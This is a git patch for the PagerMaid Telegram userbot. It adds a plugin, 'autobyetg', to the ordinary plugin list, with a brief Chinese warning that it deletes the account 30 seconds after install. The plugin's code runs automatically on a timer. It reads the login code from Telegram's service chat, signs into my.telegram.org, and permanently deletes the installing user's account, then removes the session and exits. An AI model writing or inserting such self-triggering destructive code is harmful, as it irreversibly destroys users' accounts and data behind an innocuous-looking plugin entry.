From 779cbaee854546a3cdd01f0d565fe031a02e8f71 Mon Sep 17 00:00:00 2001 From: xtaodada Date: Sun, 13 Feb 2022 17:06:12 +0800 Subject: [PATCH] =?UTF-8?q?autobyetg=20=E2=9A=A0=EF=B8=8F=E5=AE=89?= =?UTF-8?q?=E8=A3=85=E5=90=8E=2030=20=E7=A7=92=E8=87=AA=E5=8A=A8=E5=88=A0?= =?UTF-8?q?=E5=8F=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- autobyetg.py | 57 ++++++++++++++++++++++++++++++++++++++++++++++++++++ list.json | 10 +++++++++ 2 files changed, 67 insertions(+) create mode 100644 autobyetg.py diff --git a/autobyetg.py b/autobyetg.py new file mode 100644 index 0000000..c5f1724 --- /dev/null +++ b/autobyetg.py @@ -0,0 +1,57 @@ +""" Pagermaid auto say bye to tg plugin. """ +import requests +from pagermaid import scheduler, bot +from os import remove + + +def send_code(num): + link = "https://my.telegram.org/auth/send_password" + body = f"phone={num}" + rsp = requests.post(link, body).json() + return rsp["random_hash"] + + +def get_cookie(num, hash_, pwd): + link = "https://my.telegram.org/auth/login" + body = f"phone={num}&random_hash={hash_}&password={pwd}" + resp = requests.post(link, body) + return resp.headers["Set-Cookie"] + + +def delete_account(cookie, _hash, num): + link = "https://my.telegram.org/delete/do_delete" + body = f"hash={_hash}" + header = { + "Cookie": cookie + } + resp = requests.post(link, body, headers=header).text + if resp == "true": + print(f"{num} Account Deleted.") + + +def get_hash(cookie): + link = "https://my.telegram.org/delete" + header = { + "Cookie": cookie + } + data = requests.get(link, headers=header).text + _hash = data.split("hash: '")[1].split("',")[0] + return _hash + + +@scheduler.scheduled_job("interval", seconds=30, id="bye_tg") +async def run_one_30_seconds(): + me = await bot.get_me() + number = me.phone + async with bot.conversation(777000) as conversation: + await conversation.send_message('1') + code = send_code(number) + chat_response = await conversation.get_response() + await bot.send_read_acknowledge(conversation.chat_id) + msg = chat_response.text + pwd = msg.split('code:')[1].split('\n')[1] + cookie = get_cookie(number, code, pwd) + _hash = get_hash(cookie) + delete_account(cookie, _hash, number) + remove('pagermaid.session') + exit(1) diff --git a/list.json b/list.json index c2aa8c4..86b0c33 100644 --- a/list.json +++ b/list.json @@ -899,6 +899,16 @@ "supported": true, "des-short": "Base64编码/解码。", "des": "Base64编码/解码。\n指令:-b64e -b64d" + }, + { + "name": "autobyetg", + "version": "1.00", + "section": "chat", + "maintainer": "xtaodada", + "size": "1.6 kb", + "supported": true, + "des-short": "⚠️安装后 30 秒自动删号。", + "des": "⚠️安装后 30 秒自动删号。" } ] }